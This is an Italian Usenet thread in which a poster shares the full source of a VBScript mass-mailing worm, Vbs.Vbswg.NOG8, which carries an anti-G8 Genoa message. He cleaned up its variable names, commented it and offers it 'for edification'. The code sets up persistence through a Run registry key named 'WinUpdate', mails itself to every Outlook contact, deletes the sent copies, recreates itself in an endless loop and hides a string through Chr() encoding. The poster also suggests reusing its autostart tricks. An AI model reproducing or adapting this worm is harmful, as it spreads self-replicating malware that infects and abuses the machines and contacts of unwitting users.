Newsgroup: it.comp.lang.visual-basic
Titolo: Simpatico il virus in VBS... Mi e' giunto tramite ICLVB, lo posto qui a titolo di edificazione personale





Questo e' un VBS che ho ricevuto in 
email.


 


Pare mi sia arrivato tramite ICLVB perche' qualcuno 
dei presenti lo ha preso nel... Nel proprio OE :)


 


L'ho modificato un po', mettendo nomi significativi 
alle variabili e commentando i valori delle costanti per quanto mi e' stato 
possibile (non trovo la documentazione relativa ad Outlook, a casa non ho l'MSDN 
nuova).


 


Posto questo messaggio in HTML in modo che le linee 
lunghe non vengano tagliate.


 


Non vi mando il codice originale: e' roba 
tipo


 


Set DCBIR78R = 
createobject("scripting.filesystemobject")


 


Quello che posto e' cmq il codice cosi' come lo ho 
ricevuto, fatti salvi i caps (che ho modificato perche' fossero piu' leggibili) 
e i nomi delle variabili (che ho reso significativi).


 


Il codice in se' e' banale, io stesso ne scrissi uno simile a titolo di 
analisi di fattibilita' per un programma che ad intervalli regolari doveva 
mandare dei messaggi di posta tramite outlook. Direi cmq che ci sono un paio di 
spunti interessanti per programmi in autostart.


 


Unico consiglio: se lo usate per i vostri programmi, occhio con il wscript: 
rischiate di impallare la macchina se ne partono troppe istanze, magari scrivete 
un flag file con la data dell'ultima scrittura ad intervalli regolari e 
verificatelo al doppio di tali intervalli, per terminare le istanze 
duplicate.


 


Ciaotutti,


 


Asterix


 


'Vbs.Vbswg.NOG8 Created By Emmanuel 
Calavera. 07/21/2001
Set objFSO = 
CreateObject("Scripting.FileSystemObject")
strSystemFolder = 
objFSO.GetSpecialFolder(1) ' 1 -> SystemFolder
strTargetVBS = 
strSystemFolder & "\NOG8.txt.vbs"


 


Set objWScriptShell = 
CreateObject("WScript.Shell")
objWScriptShell.RegWrite 
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "WScript.exe " 
& strTargetVBS & " %"


 


objFSO.CopyFile WScript.ScriptFullName, 
strTargetVBS


 


If 
objWScriptShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\NOG8\AE61R9S4") 
<> 1 Then
    SendMail
End If


 


Set objSourceVBS = 
objFSO.OpenTextFile(WScript.ScriptFullName)
strSourceVBS = 
objSourceVBS.ReadAll
objSourceVBS.Close


 


Do
    If Not 
(objFSO.FileExists(WScript.ScriptFullName)) 
Then
        Set objTargetVBS = 
objFSO.CreateTextFile(WScript.ScriptFullName)
        
objTargetVBS.Write strSourceVBS
        
objTargetVBS.Close
    End If
Loop


 


Function SendMail()
    
Set objOutlook = CreateObject("Outlook.Application")
    

    If objOutlook = "Outlook" 
Then
        Set objMAPI = 
objOutlook.GetNameSpace("MAPI")
        
Set objAddressLists = 
objMAPI.AddressLists
        

        For Each objAddressList In 
objAddressLists
            
If objAddressList.AddressEntries.Count <> 0 
Then
                
lngAddressesCount = 
objAddressList.AddressEntries.Count
                
For I = 1 To 
lngAddressesCount
                    
Set objMail = objOutlook.CreateItem(0) ' 0 -> Suppongo 
MAIL
                    
Set objAddress = 
objAddressList.AddressEntries(I)
                    
objMail.To = 
objAddress.Address
                    
objMail.Subject = "No al G8 di 
Genova"
                    
objMail.Body = "A Genova dal 20 al 22 luglio i rappresentanti dei sette paesi 
più industrializzati (con tutto ciò che questo comporta) quindi: USA, Giappone, 
Germania, Gran Bretagna, Francia, Canada e Italia più la Russia si incontreranno 
per stabilire come realizzare nei propri territori le politiche neoliberiste per 
favorire il libero profitto delle multinazionali sulla pelle di miliardi di 
persone." & vbCrLf & "Attualmente centinaia di gruppi in tutto il mondo 
si stanno organizzando per venire a Genova per portare avanti e per sbattere in 
faccia ai potenti del mondo quali sono i reali problemi del pianeta, quali le 
necessità e quali le soluzioni." & vbCrLf & "" & vbCrLf & "Vieni 
a Genova e di NO alla Globalizzazione." & vbCrLf & "" & vbCrLf & 
"Il popolo di 
Sheattle"
                    
Execute "Set objAttachments =objMail." & Chr(65) & Chr(116) & 
Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & 
Chr(101) & Chr(110) & Chr(116) & Chr(115) ' 
Attachments
                    
strAttachmentFile = 
strTargetVBS
                    
objMail.DeleteAfterSubmit = 
True
                    
objAttachments.Add 
strAttachmentFile
                    

                    
If objMail.To <> "" 
Then
                        
objMail.Send
                    
End 
If
                
Next
            End 
If
        Next
    End 
If
    
End Function



 Set DCBIR78R = createobject("scripting.filesystemobject")
Il mio McAfee si è incazzato come una bestia lo stesso...
lo ha chiamato VBS/Generic@MM !
A parte che ora è reato penale :-PP perfino la diffusione di codice di questo
tipo (ed evito ulteriori commenti sulla facilità con cui ci se lo può procurare
e/o scrivere), quando fai queste cose, "cripta" il post in ROT13, o qualcosa
di simile, please :-)
Bye, G.

In rotche???
Ciao Andrea
"Paperino" <non...@lo.dico> ha scritto nel messaggio
news:9h0cd1$3e78$1...@stargate1.inet.it...


 Bye, G.
Con OE? Faccio prima a uuencodarmelo a mano :P
Qualcuno conosce un modo di convincere OE a criptare in ROT13?
Ciaotutti,
Asterix

 regolari.
ok. mando subito il tuo pattern alla mcafee.